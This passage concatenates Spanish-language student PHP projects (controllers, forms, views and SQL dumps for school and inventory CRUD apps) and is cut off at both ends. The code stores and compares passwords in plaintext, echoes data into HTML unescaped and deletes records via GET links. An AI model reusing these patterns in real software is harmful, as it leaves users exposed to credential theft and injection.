value="Actualizar">'; } #ACTUALIZAR ALUMNO #------------------------------------ public function actualizarCarreraController(){ if(isset($_POST["nombreEditar"])){ $datosController = array( "id"=>$_POST["idEditar"], "nombre"=>$_POST["nombreEditar"]); $respuesta = DatosCarreras::actualizarCarreraModel($datosController, "carreras"); if($respuesta == "success"){ header("location:index.php?action=CarreraEditada"); } else{ echo "error"; } } } #BORRAR ALUMNO #------------------------------------ public function borrarCarrerasController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = DatosCarreras::borrarCarreraModel($datosController, "carreras"); if($respuesta == "success"){ header("location:index.php?action=carreras"); } } } } //// ?><file_sep>/Practica09/modelo/crud.php <?php require_once "conexion.php"; class DB { function registrarUsuarios($datosCampos,$tabla) { $stmt -> conexion::conexion()->prepare("INSERT INTO empleados (nombre, telefono) VALUES (:nombre,:telefono)"); $stmt -> bindParam(":nombre",$datosCampos["nombre"]); $stmt -> bindParam(":telefono",$datosCampos["telefono"]); $stmt -> execute(); $stmt ->close(); } } ?><file_sep>/04_final/guardar_m.php <?php //Guarda la informacion en variables que despues seran almacenadas en un txt $nempleado = $_POST["nempleado"]; $nombre = $_POST["nombre"]; $carrera = $_POST["carrera"]; $telefono = $_POST["telefono"]; $filename = "maestros"; $contenido = "$nempleado,$nombre,$carrera,$telefono".PHP_EOL; $archivo=fopen("./$filename.txt", "a"); fwrite($archivo, $contenido); ?> <!DOCTYPE html> <html> <head> <title></title> </head> <body> <p>Maestro Guardado</p> </body> </html><file_sep>/Examen1/controllers/controller.php <?php class MvcController{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE ALUMNOS #------------------------------------ public function registroAlumnoController(){ if(isset($_POST["matricula"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "matricula"=>$_POST["matricula"], "nombre"=>$_POST["nombre"], "carrera"=>$_POST["carrera"], "tutor"=>$_POST["tutor"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroAlumnoModel($datosController, "alumnos"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=AlumnoRegistrado"); } else{ header("location:index.php"); } } } #INGRESO DE MAESTROS #------------------------------------ public function ingresoSesionController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "email"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>In<PASSWORD>"]); $respuesta = Datos::ingresoMaestroModel($datosController, "maestros"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["email"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["passwordIn<PASSWORD>"]){ session_start(); $_SESSION["validar"] = true; $_SESSION["pass"] = $resp<PASSWORD>["<PASSWORD>"]; header("location:index.php?action=alumnos"); } else{ header("location:index.php?action=fallo"); } } } #VALIDAR SESION PARA IMPLEMENTAR SIDEBAR #------------------------------------ public function checarIngresoController(){ error_reporting(0); session_start(); if(isset($_SESSION["validar"])){ if($_SESSION["validar"]){ echo ' <nav> <ul> <li><a href="index.php?action=alumnos">Alumnos</a></li> <li><a href="index.php?action=salir">Salir</a></li> </ul> </nav>'; } } } #VISTA DE ALUMNOS #------------------------------------ public function vistaAlumnosController(){ $respuesta = Datos::vistaAlumnosModel("alumnos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["matricula"].'</td> <td>'.$item["nombre"].'</td> <td>'.$item["carrera"].'</td> <td>'.$item["tutor"].'</td> <td><a href="index.php?action=editar&id='.$item["matricula"].'"><button class="button radius tiny secondary">Editar</button></a></td> <td><a href="index.php?action=alumnos&idBorrar='.$item["matricula"].'"><button class="button radius tiny alert">Borrar</button></a></td> </tr>'; } } public function editarAlumnosController(){ $carreras = Datos::vistaCarrerasModel("carreras"); $tutor = DatosMaestros::vistaMaestrosModel("maestros"); $datosController = $_GET["id"]; $respuesta = Datos::editarAlumnosModel($datosController, "alumnos"); echo' <label>Matricula: </label> <input type="text" value="'.$respuesta["matricula"].'" name="matriculaEditar" readonly> <label>Nombre: </label> <input type="text" value="'.$respuesta["aname"].'" name="nombreEditar" required> <label>Carrera: </label> <select name="carreraEditar">'; foreach($carreras as $row => $item){ if ($item["id"] == $respuesta["acarrera"]) { echo '<option value='.$item["id"].' selected>'.$item["nombre"].'</option>'; } echo '<option value='.$item["id"].'>'.$item["nombre"].'</option>'; } echo '</select> <label>Tutor: </label> <select name="tutorEditar">'; foreach($tutor as $row => $item){ if ($item["nempleado"] == $respuesta["nempleado"]) { echo '<option value='.$item["nempleado"].' selected>'.$item["nombre"].'</option>'; } echo '<option value='.$item["nempleado"].'>'.$item["nombre"].'</option>'; } echo '</select> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Actualizar">'; } #ACTUALIZAR ALUMNO #------------------------------------ public function actualizarAlumnosController(){ if(isset($_POST["matriculaEditar"])){ $datosController = array( "matricula"=>$_POST["matriculaEditar"], "nombre"=>$_POST["nombreEditar"], "carrera"=>$_POST["carreraEditar"], "tutor"=>$_POST["tutorEditar"]); $respuesta = Datos::actualizarAlumnosModel($datosController, "alumnos"); if($respuesta == "success"){ header("location:index.php?action=AlumnoEditado"); } else{ echo "error"; } } } #BORRAR ALUMNO #------------------------------------ public function borrarAlumnosController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarAlumnoModel($datosController, "alumnos"); if($respuesta == "success"){ header("location:index.php?action=alumnos"); } } } } //// ?><file_sep>/Practica06/php_sql_course2.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 14-05-2018 a las 08:37:02 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `php_sql_course2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `basquetbol` -- CREATE TABLE `basquetbol` ( `id` int(11) NOT NULL, `nombre` varchar(20) NOT NULL, `posicion` varchar(20) NOT NULL, `carrera` varchar(20) NOT NULL, `email` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `basquetbol` -- INSERT INTO `basquetbol` (`id`, `nombre`, `posicion`, `carrera`, `email`) VALUES (7, '<NAME>', 'Medio', 'ITI', '<EMAIL>'), (12, 'Sergio', 'Medio', 'ITI', '<EMAIL>'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `futbol` -- CREATE TABLE `futbol` ( `id` varchar(11) NOT NULL, `nombre` varchar(20) NOT NULL, `posicion` varchar(20) NOT NULL, `carrera` varchar(20) NOT NULL, `email` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `futbol` -- INSERT INTO `futbol` (`id`, `nombre`, `posicion`, `carrera`, `email`) VALUES ('1', '<NAME>', 'Portero', 'ITI', '<EMAIL>'), ('10', '<NAME>', 'Delantero', 'ITI', '<EMAIL>'), ('2', 'Sergio', 'Defensa', 'ITI', '<EMAIL>'), ('4', 'Tom', 'Delantero', 'ITI', '<EMAIL>'), ('5', 'Bruce', 'Defensa', 'ITI', '<EMAIL>'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `basquetbol` -- ALTER TABLE `basquetbol` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); -- -- Indices de la tabla `futbol` -- ALTER TABLE `futbol` ADD PRIMARY KEY (`id`), ADD UNIQUE KEY `id` (`id`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/PNF/Practica12 - copia/inventarios.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: May 31, 2018 at 12:24 PM -- Server version: 10.1.26-MariaDB -- PHP Version: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `inventarios` -- -- -------------------------------------------------------- -- -- Table structure for table `categorias` -- CREATE TABLE `categorias` ( `id_categoria` int(11) NOT NULL, `nombre_categoria` varchar(255) NOT NULL, `descripcion_categoria` varchar(255) NOT NULL, `date_added` datetime NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `historial` -- CREATE TABLE `historial` ( `id_historial` int(11) NOT NULL, `id_producto` int(11) NOT NULL, `user_id` int(11) NOT NULL, `fecha` datetime NOT NULL, `nota` varchar(255) NOT NULL, `referencia` varchar(100) NOT NULL, `cantidad` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `products` -- CREATE TABLE `products` ( `id_producto` int(11) NOT NULL, `codigo_producto` char(255) NOT NULL, `nombre_producto` char(255) NOT NULL, `date_added` datetime NOT NULL, `precio_producto` double NOT NULL, `stock` int(11) NOT NULL, `id_categoria` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `users` -- CREATE TABLE `users` ( `user_id` int(11) NOT NULL, `firstname` varchar(20) NOT NULL, `lastname` varchar(20) NOT NULL, `user_name` varchar(64) NOT NULL, `user_password_hash` varchar(255) NOT NULL, `user_email` varchar(64) NOT NULL, `date_added` datetime NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `users` -- INSERT INTO `users` (`user_id`, `firstname`, `lastname`, `user_name`, `user_password_hash`, `user_email`, `date_added`) VALUES (1, 'Carlos', 'Perez', '<PASSWORD>', '<PASSWORD>', '<EMAIL>', '2018-05-23 00:00:00'); -- -- Indexes for dumped tables -- -- -- Indexes for table `categorias` -- ALTER TABLE `categorias` ADD PRIMARY KEY (`id_categoria`); -- -- Indexes for table `historial` -- ALTER TABLE `historial` ADD PRIMARY KEY (`id_historial`), ADD KEY `id_producto` (`id_producto`); -- -- Indexes for table `products` -- ALTER TABLE `products` ADD PRIMARY KEY (`id_producto`), ADD KEY `codigo_producto` (`codigo_producto`); -- -- Indexes for table `users` -- ALTER TABLE `users` ADD PRIMARY KEY (`user_id`), ADD UNIQUE KEY `user_name` (`user_name`), ADD KEY `user_email` (`user_email`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `categorias` -- ALTER TABLE `categorias` MODIFY `id_categoria` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `products` -- ALTER TABLE `products` MODIFY `id_producto` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `users` -- ALTER TABLE `users` MODIFY `user_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Calificar/2/Practica06/agregar_futbolista.php <?php include_once('Config2.php'); //Asignacion a las varibles con post de los datos en la bd if($_POST){ $nombre = $_POST['Nombre']; $posicion = $_POST['Posicion']; $dorsal = $_POST['Dorsal']; $carrera = $_POST['Carrera']; $email = $_POST['Email']; //Se insertan los datos agregados para ser otro futbolista por medio de insert $update = $conexion->prepare( 'INSERT INTO Futbolistas (Nombre, Dorsal, Posicion, Carrera, Email) VALUES (:nombre, :dorsal, :posicion, :carrera, :email)'); $update->bindParam(':nombre', $nombre); $update->bindParam(':dorsal', $dorsal); $update->bindParam(':posicion', $posicion); $update->bindParam(':carrera', $carrera); $update->bindParam(':email', $email); $update->execute(); //Alerta de futbolista agregado que es la que confirma echo '<script> alert("Futbolista Agregado!"); </script>'; //redirecciona a la pagina de futbolistas echo '<script> window.location = "index2.php"; </script>'; } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Practica 6</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header2.php'); ?> <div class="row"> <div class="large-9 columns"> <h3>Registrar futbolista</h3> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <form method="post"> Nombre: <input type="text" name="Nombre" value=""> <br> Dorsal: <input type="text" name="Dorsal" value=""> <br> Carrera: <input type="text" name="Carrera" value=""> <br> Email: <input type="text" name="Email" value=""> <br> Posicion: <input type="text" name="Posicion" value=""> <br> <input type="submit" name="submit" value="Registrar"> </form> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?><file_sep>/04_final/formulario_a.php <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="large-9 columns"><!-- Formulario de Alumnos --> <form method="POST" action="guardar.php"> Matricula: <input type="text" class="form-control" name="matricula" placeholder="Matricula"> <br> Nombre: <input type="text" class="form-control" name="nombre" placeholder="Nombre"> <br> Carrera: <input type="text" class="form-control" name="carrera" placeholder="Carrera"> <br> E-mail: <input type="text" class="form-control" name="email" placeholder="E-mail"> <br> Telefono: <input type="text" class="form-control" name="telefono" placeholder="Telefono"> <center><button type="submit" class="btn btn-primary">Guardar</button></center> </form> </div> </body> </html> <?php require_once('footer.php'); ?><file_sep>/editado2/views/modules/ingresaralumno.php <h1>INGRESAR ALUMNO</h1> <form method="post"> <input type="text" placeholder="Matricula" name="matriculaRegistro" required> <input type="text" placeholder="Nombre" name="nombreRegistro" required> <input type="text" placeholder="Carrera" name="carreraRegistro" required> <input type="text" placeholder="Tutor" name="tutorRegistro" required> <input type="submit" value="Enviar"> </form> <?php $ingreso = new MvcController(); $ingreso -> registroUsuarioController(); if(isset($_GET["action"])){ if($_GET["action"] == "fallo"){ echo "Fallo al ingresar"; } } ?><file_sep>/Calificar/4/Práctica 06/Ejercicio 2/eliminarfut.php <?php include_once('db/database_utilities.php'); header('Location: index.php'); //Se pasa el siguiente parametro ($id) por la URL en index.php para ejecutar la eliminación: $id = isset( $_GET['id'] ) ? $_GET['id'] : 0; //función de eliminación en database_utilities.php eliminarf($id); ?><file_sep>/Practica082/views/modules/ingresar.php <br> <h4>Iniciar Sesion</h4> <hr style="left: -50px; width: 500px; border-color: darkgray;"><br> <form method="post"> <input type="text" placeholder="Usuario" name="usuarioIngreso" required> <input type="<PASSWORD>" placeholder="<PASSWORD>" name="<PASSWORD>" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Log In"> </form> <?php $ingreso = new MvcController(); $ingreso -> ingresoMaestroController(); if(isset($_GET["action"])){ if($_GET["action"] == "fallo"){ echo "Fallo al ingresar"; } } ?><file_sep>/Exa/views/modules/registrarVenta.php <?php //Verifica la sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Ventas | Registrar Ventas</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Formulario para la insercion de Alumnos --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Registrar Venta</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Registrar Venta</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <!-- left column --> <div class="col-md-12"> <!-- general form elements --> <div class="card card-info"> <div class="card-header" style="background-color: #05758c"> <div class="float-right"> <a href="index.php?action=ventas"><input class="btn btn-block btn-outline-warning" value="Listado de Ventas"></a> </div> <h3 class="card-title">Información General</h3> </div> <!-- /.card-header --> <form method="post"> <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Producto</label> <select class="form-control select2" type="number" name="idProductoVenta" style="width: 100%;"> <?php $selectProd = new MvcController(); $selectProd -> SeleccionarProductosController(); ?> </select> </div> <div class="form-group"> <label for="exampleInputEmail1">Fecha de Venta</label> <input type="date" class="form-control" name="fechaVentaEditar"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Cantidad</label> <input type="number" class="form-control" value="" name="cantidadVenta" min=1> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="enviar" value="Finalizar Venta"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div> </form> </div> <!-- /.card --> </div> </div> </div> </section> </div> </div> </body> </html> <!--<form method="post"> <label>Nombre: </label> <input type="text" placeholder="Nombre" name="nombre" required> <label>Username: </label> <input type="text" placeholder="Username" name="username" required> <label>Contraseña: </label> <input type="text" placeholder="<PASSWORD>" name="password" required> <input type="submit" class="button radius tiny" name="enviar" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form>--> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcController(); //se invoca la función registroUsuarioController de la clase MvcController: $registro -> registrarVentaController(); if(isset($_GET["action"])){ if($_GET["action"] == "UsuarioRegistrado"){ //echo "Producto Añadido"; } } ?> <file_sep>/Examen1/curso_php2.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 127.0.0.1 -- Tiempo de generación: 27-05-2018 a las 20:24:35 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Base de datos: `curso_php2` -- -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `alumnos` -- CREATE TABLE `alumnos` ( `matricula` varchar(10) NOT NULL, `nombre` varchar(50) NOT NULL, `carrera` int(11) NOT NULL, `tutor` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `alumnos` -- INSERT INTO `alumnos` (`matricula`, `nombre`, `carrera`, `tutor`) VALUES ('1530071', 'Luis', 2, 3), ('1530072', 'Sergio', 3, 3), ('1530073', 'Sergio', 1, 2); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `carreras` -- CREATE TABLE `carreras` ( `id` int(11) NOT NULL, `nombre` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `carreras` -- INSERT INTO `carreras` (`id`, `nombre`) VALUES (1, 'ITI'), (2, 'MECA'), (3, 'ISA'), (8, 'PYMES'), (9, 'MANU'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `maestros` -- CREATE TABLE `maestros` ( `nempleado` int(11) NOT NULL, `carrera` int(11) NOT NULL, `nombre` varchar(50) NOT NULL, `email` varchar(20) NOT NULL, `password` varchar(20) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `maestros` -- INSERT INTO `maestros` (`nempleado`, `carrera`, `nombre`, `email`, `password`) VALUES (1, 1, '<NAME>', '<EMAIL>', '<PASSWORD>'), (2, 3, 'Sergio', '<EMAIL>', '123'), (3, 2, 'Oliver', '<EMAIL>', '<PASSWORD>'); -- -------------------------------------------------------- -- -- Estructura de tabla para la tabla `tutorias` -- CREATE TABLE `tutorias` ( `id` int(11) NOT NULL, `alumno` varchar(10) NOT NULL, `tutor` int(11) NOT NULL, `fecha` varchar(11) NOT NULL, `hora` varchar(10) NOT NULL, `tipotutoria` varchar(20) NOT NULL, `campo` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Volcado de datos para la tabla `tutorias` -- INSERT INTO `tutorias` (`id`, `alumno`, `tutor`, `fecha`, `hora`, `tipotutoria`, `campo`) VALUES (1, '1530073', 2, '2018-05-11', '20:00', 'Grupal', 'Mineria de Datos'), (5, '1530072', 1, '2018-05-26', '17:00', 'Grupal', 'Seguridad'), (6, '1530073', 3, '2018-05-26', '17:00', 'Individual', 'Redes'); -- -- Índices para tablas volcadas -- -- -- Indices de la tabla `alumnos` -- ALTER TABLE `alumnos` ADD PRIMARY KEY (`matricula`), ADD KEY `carrera` (`carrera`), ADD KEY `tutor` (`tutor`); -- -- Indices de la tabla `carreras` -- ALTER TABLE `carreras` ADD PRIMARY KEY (`id`); -- -- Indices de la tabla `maestros` -- ALTER TABLE `maestros` ADD PRIMARY KEY (`nempleado`), ADD KEY `carrera` (`carrera`); -- -- Indices de la tabla `tutorias` -- ALTER TABLE `tutorias` ADD PRIMARY KEY (`id`), ADD KEY `alumno` (`alumno`), ADD KEY `tutor` (`tutor`); -- -- AUTO_INCREMENT de las tablas volcadas -- -- -- AUTO_INCREMENT de la tabla `carreras` -- ALTER TABLE `carreras` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12; -- -- AUTO_INCREMENT de la tabla `tutorias` -- ALTER TABLE `tutorias` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; -- -- Restricciones para tablas volcadas -- -- -- Filtros para la tabla `alumnos` -- ALTER TABLE `alumnos` ADD CONSTRAINT `alumnos_ibfk_1` FOREIGN KEY (`carrera`) REFERENCES `carreras` (`id`), ADD CONSTRAINT `alumnos_ibfk_2` FOREIGN KEY (`tutor`) REFERENCES `maestros` (`nempleado`); -- -- Filtros para la tabla `maestros` -- ALTER TABLE `maestros` ADD CONSTRAINT `maestros_ibfk_1` FOREIGN KEY (`carrera`) REFERENCES `carreras` (`id`); -- -- Filtros para la tabla `tutorias` -- ALTER TABLE `tutorias` ADD CONSTRAINT `tutorias_ibfk_1` FOREIGN KEY (`alumno`) REFERENCES `alumnos` (`matricula`), ADD CONSTRAINT `tutorias_ibfk_2` FOREIGN KEY (`tutor`) REFERENCES `maestros` (`nempleado`); COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>/Calificar/1/Practica6/sports_view.php <?php //Se requiere el archivo database_utilities.php para poder usar las diferentes metodos que usaran las senetencias SQL require_once('database_utilities.php'); //Se ejecutara la funcion querySoccerPlayers donde se hara la consulta a la tabla futbolistas y traera todos los datos de cada futbolista, posteriormente //se retornara un array asociativo con todos los resultados que sera llamado resultados $resultados = querySoccerPlayers(); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <h3>Deportistas</h3> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <?php if($resultados){ //Si hay resultados entonces se hara la tabla?> <h3>Futbolistas</h3> <a href="./add_form.php?type=1" class="button radius tiny">Nuevo Futbolista</a> <table> <thead> <tr> <th width="200">Numero(ID)</th> <th width="250">Nombre</th> <th width="250">Posicion</th> <th width="250">Carrera</th> <th width="250">E-mail</th> <th width="250">Acciones</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion un futbolista nuevo ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['nombre'] ?></td> <td><?php echo $user['posicion'] ?></td> <td><?php echo $user['carrera'] ?></td> <td><?php echo $user['email'] ?></td> <?php // Por cada futbolista nuevo se crearan dos botones, uno para eliminar y otro para actualizar // informacion. // En el boton de eliminar se desplegara una alerta para estar seguros de eliminar al usuario. // En ambas ocasiones se pasara el id de cada usuario para hacer las distintas funciones como eliminar o actualizar en base al id de cada futbolista?> <td><a href="./key.php?id=<?php echo $user['id']; ?>&type=1" class="button radius tiny alert" onClick=avoidDeleting();>Eliminar</a> <a href="./update_form.php?id=<?php echo $user['id']; ?>&type=1" class="button radius tiny success">Actualizar</a></td> </tr> <?php } ?> <tr> <!-- Se hara un conteo de cada futbolista --> <td colspan="6"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> <?php //Se hara ahora una consulta a todos los basquetbolista con el metodo queryBasketballPlayers $resultados = queryBasketballPlayers(); //Si hay resultados entonces se hara la tabla if($resultados){ ?> <h3>Basquetbolistas</h3> <a href="./add_form.php?type=2" class="button radius tiny">Nuevo Basquetbolista</a> <table> <thead> <tr> <th width="200">Numero(ID)</th> <th width="250">Nombre</th> <th width="250">Posicion</th> <th width="250">Carrera</th> <th width="250">E-mail</th> <th width="250">Acciones</th> </tr> </thead> <tbody> <?php foreach( $resultados as $id => $user ){ // Se recorrera el array asoc y se pondra los distintos valores siendo cada iteracion un basquebolista nuevo ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['nombre'] ?></td> <td><?php echo $user['posicion'] ?></td> <td><?php echo $user['carrera'] ?></td> <td><?php echo $user['email'] ?></td> <?php // Por cada futbolista nuevo se crearan dos botones, uno para eliminar y otro para actualizar // informacion. // En el boton de eliminar se desplegara una alerta para estar seguros de eliminar al usuario. // En ambas ocasiones se pasara el id de cada usuario para hacer las distintas funciones como eliminar o actualizar en base al id de cada basquetbolista?> <td><a href="./key.php?id=<?php echo $user['id']; ?>&type=2" class="button radius tiny alert" onClick=avoidDeleting();>Eliminar</a> <a href="./update_form.php?id=<?php echo $user['id']; ?>&type=2" class="button radius tiny success">Actualizar</a></td> </tr> <?php } ?> <tr> <!-- Se hara un conteo de cada basquetbolista --> <td colspan="6"><b>Total de registros: </b> <?php echo count($resultados); ?></td> </tr> </tbody> </table> <?php }else{ ?> No hay registros <?php } ?> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion para crear la alerta de estar seguros si queremos eliminar el usuario function avoidDeleting() { var msj = confirm("Deseas eliminar este usuario?"); if(msj == false) { event.preventDefault(); } } </script><file_sep>/Envios/controllers/controller.php <?php class MvcController{ #LLAMADA A LA PLANTILLA #------------------------------------- public function pagina(){ include "views/template.php"; } #ENLACES #------------------------------------- public function enlacesPaginasController(){ if(isset( $_GET['action'])){ $enlaces = $_GET['action']; } else{ $enlaces = "index"; } $respuesta = Paginas::enlacesPaginasModel($enlaces); include $respuesta; } #REGISTRO DE PAGOS - FORMA PUBLICA #------------------------------------ public function registroPago2Controller(){ if(isset($_POST["enviar"])){ $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo 